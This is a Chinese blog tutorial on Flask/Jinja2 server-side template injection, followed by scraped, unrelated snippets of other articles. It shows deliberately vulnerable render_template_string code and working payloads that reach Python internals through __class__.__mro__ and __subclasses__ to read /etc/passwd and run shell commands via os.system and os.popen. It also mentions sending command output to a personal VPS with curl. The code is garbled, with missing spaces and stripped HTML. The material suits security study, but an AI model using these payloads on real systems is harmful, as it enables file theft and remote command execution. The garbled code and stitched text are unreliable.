技术标签: python利用什么写模板
flask基础
在学习SSTI之前,先把flask的运作流程搞明白。这样有利用更快速的理解原理。
路由
先看一段代码
from flask importflask
@app.route('/index/')
defhello_word():
return 'hello word'
route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问
渲染方法
flask的渲染方法有render_template和render_template_string两种。
render_template()是用来渲染一个指定的文件的。使用如下
return render_template('index.html')
render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
使用方法如下
html = '
return render_template_string(html)
模板
flask是使用Jinja2来作为渲染引擎的。看例子
在网站的根目录下新建templates文件夹,这里是用来存放html文件。也就是模板文件。
test.py
from flask importFlask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
defuser_login():
return render_template('index.html')
/templates/index.html
访问127.0.0.1:5000/index/的时候,flask就会渲染出index.html的页面。
模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参。
例子
test.py
from flask importFlask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
defuser_login():
return render_template('index.html',content='This is index page.')
/templates/index.html
这个时候页面仍然输出This is index page。
{ {}}在Jinja2中作为变量包裹标识符。
模板注入
什么是模板注入呢?
为了在写HTML代码方便时,很多网站都会使用模板,先写好一个html模板文件。
不正确的使用flask中的render_template_string方法会引发SSTI。那么是什么不正确的代码呢?
xss利用
存在漏洞的代码
@app.route('/test/')
deftest():
code = request.args.get('id')
html = '''
'''%(code)
return render_template_string(html)
这段代码存在漏洞的原因是数据和代码的混淆。代码中的code是用户可控的,会和html拼接后直接带入渲染。
尝试构造code为一串js代码。
将代码改为如下
@app.route('/test/')
deftest():
code = request.args.get('id')
return render_template_string('
继续尝试
可以看到,js代码被原样输出了。这是因为模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在xss了。在这段代码中用户所控的是code变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的。
模板注入并不局限于xss,它还可以进行其他攻击。
SSTI文件读取/命令执行
基础知识
在Jinja2模板引擎中,{ {}}是变量包裹标识符。{ {}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
这里还是用上文中存在漏洞的代码
@app.route('/test/')
deftest():
code = request.args.get('id')
html = '''
'''%(code)
return render_template_string(html)
构造参数{ {2*4}},结果如下
可以看到表达式被执行了。
在flask中也有一些全局变量。
文件包含
看了师傅们的文章,是通过python的对象的继承来一步步实现文件读取和命令执行的的。顺着师傅们的思路,再理一遍。
找到父类-->寻找子类-->找关于命令执行或者文件操作的模块。
几个魔术方法
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
1 、获取字符串的类对象
>>> ''.__class__
2 、寻找基类
>>> ''.__class__.__mro__(, , )
3 、寻找可用引用
>>> ''.__class__.__mro__[2].__subclasses__()
[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ]
可以看到有一个``
4 、利用之
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
放到模板里
可以看到读取到了文件。
命令执行
继续看命令执行payload的构造,思路和构造文件读取的一样。
寻找包含os模块的脚本
#!/usr/bin/env python
# encoding: utf-8
for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
printnum,item
num+=1
except:
print '-'num+=1
输出
-
71
-
-
-
-
76
payload
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
构造paylaod的思路和构造文件读取的是一样的。只不过命令执行的结果无法直接看到,需要利用curl将结果发送到自己的vps或者利用ceye)
类似的payload同样有:
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
''.__class__.__mro__[2].__subclasses__()[40]('etc/passwd').read()
贴一个大佬写的python模板注入
本文部分摘抄自 https://www.freebuf.com/column/187845.html
网络是开放的、自由的,在设计之初并没有考虑安全性的问题。在基础的网络安全中,身份认证技术作为第一道,甚至是最重要的一道防线,占据着重要地位。可靠的身份认证技术可以确保信息只被正确的“人”所访问,身份认证技术提供了对某个人(或某件事)的身份的证明。在现实的生活中,证明身份的方法可以基于三种方式: 你所知道的(what you know),比如密码、暗号。 你所拥有的(what y..._nas和portal的负载
封装成类:package com.roc.algorithms.sort;/** * 三向切分快速排序 * 适合有较多重复元素的排序算法 * * @author roc */public class ThreeWayQuickSort { public static void sort(int[] a) { sort(a, 0, a.length -
文章目录1. 什么是幂等性?1.1 消息队列的幂等性1.2 模拟重试机制1.2.1 生产者代码1.2.2 消费者代码1.2.3 消费者 application.yml 配置2. 如何保证消息幂等性,不被重复消费?解决方法1. 什么是幂等性?在编程中一个幂等操作的特点是其任意多次执行所产生的影响均与一次执行的影响相同。HTTP方法的幂等性是指一次和多次请求某一个资源应该具有同样的副作用。幂..._rabbitmq消息的幂等性
val snapHelper = PagerSnapHelper() snapHelper.attachToRecyclerView(mRec)注意:添加到setAdapter之后_android recycleview滑动到底部换一下个
已解决(Python编码问题)UnicodeDecodeError: ‘ascii’ codec can’t decode byte 0x8e in position 0: ordinal not in range(128)
做软件开发,是从事编程开发工作,必须先从语法基础开始学习,通过语法组成产品效果。前端开发的基础语法,由HTML+CSS+JavaScript组成,这是前端开发最基本的3个语言。网页布局基础:HTML+CSSHTML就是超文本标记语言,组成网页内容的最基本语言。你可以直接说他是网页的骨架,网页的图片、文字、视频、音频、程序都需要他引入到网页中体现。光是HTML做网页,只是有了内容,当然是远远不够的。因为只是HTML的话,只能用Table做布局才能勉强做出个成型的网页来。但是从Web2.0时代开始,都_web+app软件用什么语言开发
小编最近突发奇想,想学一学二维码方面的知识,_qr 码为什么速度快
中国医科大学《计算机基础与应用》在线作业中国医科大学《计算机基础与应用》在线作业试卷总分:100 测试时间:-- 试卷得分:100一、单选题(共 50 道试题,共 100 分。单选题) 得分:100V 1.1. Excel中,函数“=COUNT(4,A,6)”的运算结果是()。A. 2B. 3C. 4D. 6正确答案:A 满分:2 分 得分:2.02. ..._中国医科大学计算机基础与应用在线作业
Fisher线性判别1.Fisher线性判别步骤2.实现代码1.Fisher线性判别步骤Fisher线性判别分析的基本思想:选择一个投影方向(线性变换,线性组合),将高维问题降低到一维问题来解决,同时变换后的一维数据满足每一类内部的样本尽可能聚集在一起,不同类的样本相隔尽可能地远。Fisher线性判别分析,就是通过给定的训练数据,确定投影方向W和阈值w0, 即确定线性判别函数,然后根据这个线..._fisher线性判别
题意简述给出一棵 nnn 个点的无根树,请在这棵树上选三个互不相同的节点,使得这个三个节点两两之间距离相等,输出方案数即可。su..._给出一棵 n 个节点的无根树,请在这棵树上选三个互不相同的节点,使得这三个节点两
这周一的我:还有三周就期末了,我还有C++大作业、自科论文、数电作业、英语作业、形策论文、口述历史、历史人物展示没完成,然后还有大物、数电、C++、离散、线代、高数等课的预习还未开始,我终于开始认识到时间的紧迫性,开始狂肝作业,对C++大作业,我花了两天时间看完了黑马的Qt视频除了案例的所有内容(视频链接:最新QT从入门到实战完整版|传智教育),然后没多少时间的我自知不可能做些什么复杂的了,于是就想到了数独,经过昨天晚上和今天下午的开发,我终于完成了这个简陋的游戏,因为时间紧迫,我的代码写的比较丑,功能实现_qt 数独
Android O对应用在后台运行时可以执行的操作施加了限制,称为后台执行限制(Background Execution Limits),这可以大大减少应用的内存使用和耗电量,提高用户体验。后台执行限制分为两个部分:后台服务限制(Background Service Limitations)、广播限制(BroadcastLimitations)。后台服务限制